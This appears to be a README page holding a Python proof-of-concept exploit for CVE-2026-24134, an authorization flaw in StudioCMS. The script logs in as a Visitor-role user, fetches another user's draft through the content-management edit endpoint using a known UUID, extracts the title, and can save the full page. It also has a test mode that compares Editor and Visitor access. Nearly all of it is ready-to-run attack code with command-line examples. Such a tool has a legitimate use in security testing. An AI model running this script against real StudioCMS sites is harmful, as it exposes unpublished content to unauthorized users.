README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-24134 - Proof of Concept
Broken Object Level Authorization in StudioCMS
Author: Filipe Gaudard
CVE: CVE-2026-24134
Severity: Moderate (CVSS 6.5)
Description:
This PoC demonstrates unauthorized access to draft content in StudioCMS
by exploiting missing authorization checks in the content management endpoint.
A user with "Visitor" role can access draft content created by Editor/Admin/Owner
users by directly accessing the edit URL with a known content UUID.
Disclaimer:
This tool is for educational and authorized security testing purposes only.
Unauthorized access to computer systems is illegal.
"""
import requests
import argparse
import sys
import json
from typing import Optional, Dict, Any
from urllib.parse import urljoin
import re
from colorama import Fore, Style, init
# Initialize colorama for colored output
init(autoreset=True)
class StudioCMSBOLA:
def __init__(self, base_url: str, verify_ssl: bool = True):
"""
Initialize the exploit class.
Args:
base_url: Target StudioCMS base URL (e.g., http://localhost:4321)
verify_ssl: Whether to verify SSL certificates
"""
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = verify_ssl
self.auth_token = None
def print_success(self, message: str):
"""Print success message in green"""
print(f"{Fore.GREEN}[+] {message}{Style.RESET_ALL}")
def print_error(self, message: str):
"""Print error message in red"""
print(f"{Fore.RED}[-] {message}{Style.RESET_ALL}")
def print_info(self, message: str):
"""Print info message in blue"""
print(f"{Fore.BLUE}[*] {message}{Style.RESET_ALL}")
def print_warning(self, message: str):
"""Print warning message in yellow"""
print(f"{Fore.YELLOW}[!] {message}{Style.RESET_ALL}")
def login(self, username: str, password: str) -> bool:
"""
Authenticate as a user and obtain session token.
Args:
username: Username for authentication
password: Password for authentication
Returns:
True if authentication successful, False otherwise
"""
login_url = urljoin(self.base_url, '/studiocms_api/auth/login')
self.print_info(f"Attempting login as user: {username}")
try:
response = self.session.post(
login_url,
data={
'username': username,
'password': password
}
)
if response.status_code == 200:
# Check if auth_session cookie was set
if 'auth_session' in self.session.cookies:
self.auth_token = self.session.cookies['auth_session']
self.print_success(f"Successfully authenticated as {username}")
self.print_info(f"Session token: {self.auth_token[:20]}...")
return True
else:
self.print_error("Login response successful but no session cookie received")
return False
else:
self.print_error(f"Login failed with status code: {response.status_code}")
return False
except requests.RequestException as e:
self.print_error(f"Login request failed: {str(e)}")
return False
def verify_role(self) -> Optional[str]:
"""
Verify current user's role by accessing the dashboard.
Returns:
User role as string, or None if verification failed
"""
dashboard_url = urljoin(self.base_url, '/dashboard')
try:
response = self.session.get(dashboard_url)
if response.status_code == 200:
# Try to extract role from response (implementation-specific)
# This is a simplified example
if 'Visitor' in response.text or 'visitor' in response.text.lower():
role = 'Visitor'
elif 'Editor' in response.text or 'editor' in response.text.lower():
role = 'Editor'
elif 'Admin' in response.text or 'admin' in response.text.lower():
role = 'Admin'
else:
role = 'Unknown'
self.print_info(f"Detected user role: {role}")
return role
else:
self.print_warning(f"Could not verify role (status: {response.status_code})")
return None
except requests.RequestException as e:
self.print_error(f"Role verification failed: {str(e)}")
return None
def exploit_bola(self, content_uuid: str, save_output: bool = False) -> Dict[str, Any]:
"""
Exploit BOLA vulnerability to access draft content.
Args:
content_uuid: UUID of the target draft content
save_output: Whether to save the response to a file
Returns:
Dictionary with exploitation results
"""
if not self.auth_token:
self.print_error("Not authenticated. Please login first.")
return {"success": False, "error": "Not authenticated"}
exploit_url = urljoin(
self.base_url,
f'/dashboard/content-management/edit?edit={content_uuid}'
)
self.print_info(f"Attempting to access draft: {content_uuid}")
self.print_info(f"Target URL: {exploit_url}")
try:
response = self.session.get(exploit_url)
result = {
"success": False,
"status_code": response.status_code,
"content_length": len(response.text),
"uuid": content_uuid
}
if response.status_code == 200:
self.print_success("Successfully accessed draft content!")
self.print_info(f"Response size: {len(response.text)} bytes")
# Try to extract some information from response
result["success"] = True
result["content_preview"] = response.text[:500]
# Extract title if present
title_match = re.search(r'<title>(.*?)</title>', response.text, re.IGNORECASE)
if title_match:
result["title"] = title_match.group(1)
self.print_info(f"Draft title: {title_match.group(1)}")
# Save full response if requested
if save_output:
filename = f"draft_{content_uuid}.html"
with open(filename, 'w', encoding='utf-8') as f:
f.write(response.text)
self.print_success(f"Full content saved to: {filename}")
result["saved_file"] = filename
self.print_success("\n=== EXPLOITATION SUCCESSFUL ===")
self.print_warning("Visitor role user accessed Editor+ draft content")
self.print_warning("This confirms CVE-2026-24134 BOLA vulnerability")
elif response.status_code == 403:
self.print_info("Access denied (403 Forbidden)")
self.print_success("This suggests the vulnerability has been patched!")
result["patched"] = True
elif response.status_code == 404:
self.print_info("Content not found (404)")
self.print_warning("Either UUID is invalid or authorization check returned 404")
result["not_found"] = True
elif response.status_code == 401:
self.print_error("Authentication required (401)")
self.print_warning("Session may have expired")
result["auth_required"] = True
else:
self.print_warning(f"Unexpected response: {response.status_code}")
result["unexpected"] = True
return result
except requests.RequestException as e:
self.print_error(f"Exploitation request failed: {str(e)}")
return {"success": False, "error": str(e)}
def automated_test(self, visitor_creds: Dict[str, str],
editor_creds: Dict[str, str],
test_uuid: str) -> Dict[str, Any]:
"""
Perform automated vulnerability testing.
This creates a complete test scenario:
1. Login as Editor and verify role
2. Login as Visitor and verify role
3. Attempt to access Editor's draft as Visitor
Args:
visitor_creds: Dict with 'username' and 'password' for Visitor
editor_creds: Dict with 'username' and 'password' for Editor
test_uuid: UUID of draft created by Editor
Returns:
Dictionary with complete test results
"""
results = {
"vulnerable": False,
"tests": []
}
print("\n" + "="*60)
print("AUTOMATED CVE-2026-24134 VULNERABILITY TEST")
print("="*60 + "\n")
# Test 1: Verify Editor can access their own draft
self.print_info("TEST 1: Editor accessing own draft (baseline)")
if self.login(editor_creds['username'], editor_creds['password']):
editor_role = self.verify_role()
editor_result = self.exploit_bola(test_uuid)
results["tests"].append({
"test": "Editor access to own draft",
"role": editor_role,
"success": editor_result["success"],
"expected": True
})
if editor_result["success"]:
self.print_success("Baseline confirmed: Editor can access own draft")
else:
self.print_error("Baseline failed: Editor cannot access own draft")
return results
else:
self.print_error("Editor authentication failed")
return results
print("\n" + "-"*60 + "\n")
# Test 2: Attempt to access draft as Visitor (BOLA test)
self.print_info("TEST 2: Visitor accessing Editor's draft (BOLA)")
if self.login(visitor_creds['username'], visitor_creds['password']):
visitor_role = self.verify_role()
visitor_result = self.exploit_bola(test_uuid, save_output=True)
results["tests"].append({
"test": "Visitor access to Editor draft",
"role": visitor_role,
"success": visitor_result["success"],
"expected": False
})
if visitor_result["success"]:
self.print_error("\nVULNERABILITY CONFIRMED!")
self.print_error("Visitor role accessed Editor draft content")
self.print_error("System is vulnerable to CVE-2026-24134")
results["vulnerable"] = True
else:
self.print_success("\nVULNERABILITY NOT PRESENT")
self.print_success("Visitor role properly denied access")
self.print_success("System appears to be patched")
results["vulnerable"] = False
else:
self.print_error("Visitor authentication failed")
return results
print("\n" + "="*60)
print("TEST SUMMARY")
print("="*60)
print(f"Total tests: {len(results['tests'])}")
print(f"Vulnerability status: {'VULNERABLE' if results['vulnerable'] else 'PATCHED'}")
print("="*60 + "\n")
return results
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-24134 BOLA Vulnerability PoC for StudioCMS',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Manual exploitation
python3 cve_2026_24134_poc.py -u http://localhost:4321 --username visitor_user --password visitor_pass --uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# Automated testing
python3 cve_2026_24134_poc.py -u http://localhost:4321 --auto-test --visitor-user visitor01 --visitor-pass pass01 --editor-user editor01 --editor-pass pass01 --uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# Save output to file
python3 cve_2026_24134_poc.py -u http://localhost:4321 --username visitor_user --password visitor_pass --uuid bad87630-69a4-4cd6-bcb2-6965839dc148 --save
"""
)
parser.add_argument('-u', '--url', required=True,
help='Target StudioCMS base URL (e.g., http://localhost:4321)')
parser.add_argument('--username',
help='Username for authentication (for manual mode)')
parser.add_argument('--password',
help='Password for authentication (for manual mode)')
parser.add_argument('--uuid', required=True,
help='Target draft content UUID')
parser.add_argument('--save', action='store_true',
help='Save response content to file')
parser.add_argument('--no-ssl-verify', action='store_true',
help='Disable SSL certificate verification')
# Automated testing options
parser.add_argument('--auto-test', action='store_true',
help='Run automated vulnerability test')
parser.add_argument('--visitor-user',
help='Visitor username for automated test')
parser.add_argument('--visitor-pass',
help='Visitor password for automated test')
parser.add_argument('--editor-user',
help='Editor username for automated test')
parser.add_argument('--editor-pass',
help='Editor password for automated test')
args = parser.parse_args()
# Disable SSL warnings if --no-ssl-verify is used
if args.no_ssl_verify:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Initialize exploit class
exploit = StudioCMSBOLA(args.url, verify_ssl=not args.no_ssl_verify)
# Automated testing mode
if args.auto_test:
if not all([args.visitor_user, args.visitor_pass, args.editor_user, args.editor_pass]):
print(f"{Fore.RED}Error: Automated test requires --visitor-user, --visitor-pass, --editor-user, and --editor-pass{Style.RESET_ALL}")
sys.exit(1)
results = exploit.automated_test(
visitor_creds={'username': args.visitor_user, 'password': args.visitor_pass},
editor_creds={'username': args.editor_user, 'password': args.editor_pass},
test_uuid=args.uuid
)
# Exit with appropriate code
sys.exit(0 if not results["vulnerable"] else 1)
# Manual exploitation mode
else:
if not args.username or not args.password:
print(f"{Fore.RED}Error: Manual mode requires --username and --password{Style.RESET_ALL}")
sys.exit(1)
# Step 1: Login
if not exploit.login(args.username, args.password):
sys.exit(1)
# Step 2: Verify role
exploit.verify_role()
# Step 3: Exploit
result = exploit.exploit_bola(args.uuid, save_output=args.save)
# Exit with appropriate code
sys.exit(0 if result["success"] else 1)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
sys.exit(1)
except Exception as e:
print(f"\n{Fore.RED}[!] Unexpected error: {str(e)}{Style.RESET_ALL}")
sys.exit(1)